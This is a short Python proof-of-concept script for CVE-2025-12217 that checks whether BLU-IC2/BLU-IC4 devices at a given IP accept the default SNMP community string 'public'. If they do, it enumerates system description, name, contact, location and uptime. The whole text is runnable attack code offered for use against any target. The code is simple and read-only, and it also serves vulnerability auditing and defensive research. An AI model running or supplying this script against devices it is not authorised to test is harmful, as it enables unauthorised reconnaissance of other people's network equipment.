# CVE-2025-12217 PoC - SNMP Default Community String Detection
# Target: BLU-IC2/BLU-IC4 devices with default SNMP community string 'public'
# Author: Security Research
# Reference: CVE-2025-12217
import socket
import sys
from pysnmp.hlapi import *
def check_snmp_default_community(target_ip, community_string='public', port=161):
"""
Check if target has SNMP service with default community string
"""
try:
# SNMP GET request for system description (1.3.6.1.2.1.1.1.0)
iterator = getCmd(
SnmpEngine(),
CommunityData(community_string, mpModel=0),
UdpTransportTarget((target_ip, port), timeout=5, retries=2),
ContextData(),
ObjectType(ObjectIdentity('1.3.6.1.2.1.1.1.0'))
)
errorIndication, errorStatus, errorIndex, varBinds = next(iterator)
if errorIndication:
print(f"[-] SNMP request failed: {errorIndication}")
return False
elif errorStatus:
print(f"[-] SNMP error: {errorStatus.prettyPrint()}")
return False
else:
for varBind in varBinds:
print(f"[+] VULNERABLE: {target_ip} - SNMP with community '{community_string}'")
print(f"[+] System Info: {varBind[1]}")
return True
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
def enumerate_snmp_info(target_ip, community_string='public'):
"""
Enumerate sensitive information using SNMP
"""
oid_list = [
('1.3.6.1.2.1.1.1.0', 'System Description'),
('1.3.6.1.2.1.1.2.0', 'System Object ID'),
('1.3.6.1.2.1.1.3.0', 'System Uptime'),
('1.3.6.1.2.1.1.4.0', 'Contact Information'),
('1.3.6.1.2.1.1.5.0', 'System Name'),
('1.3.6.1.2.1.1.6.0', 'Location'),
]
print(f"\n[*] Enumerating information from {target_ip}...")
for oid, description in oid_list:
try:
iterator = getCmd(
SnmpEngine(),
CommunityData(community_string, mpModel=0),
UdpTransportTarget((target_ip, 161), timeout=5),
ContextData(),
ObjectType(ObjectIdentity(oid))
)
errorIndication, errorStatus, errorIndex, varBinds = next(iterator)
if not errorIndication and varBinds:
print(f"[+] {description}: {varBinds[0][1]}")
except:
pass
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python cve_2025_12217_poc.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2025-12217 - SNMP Default Community String Check")
print(f"[*] Target: {target}\n")
if check_snmp_default_community(target, 'public'):
enumerate_snmp_info(target, 'public')
print("\n[!] Target is vulnerable to CVE-2025-12217")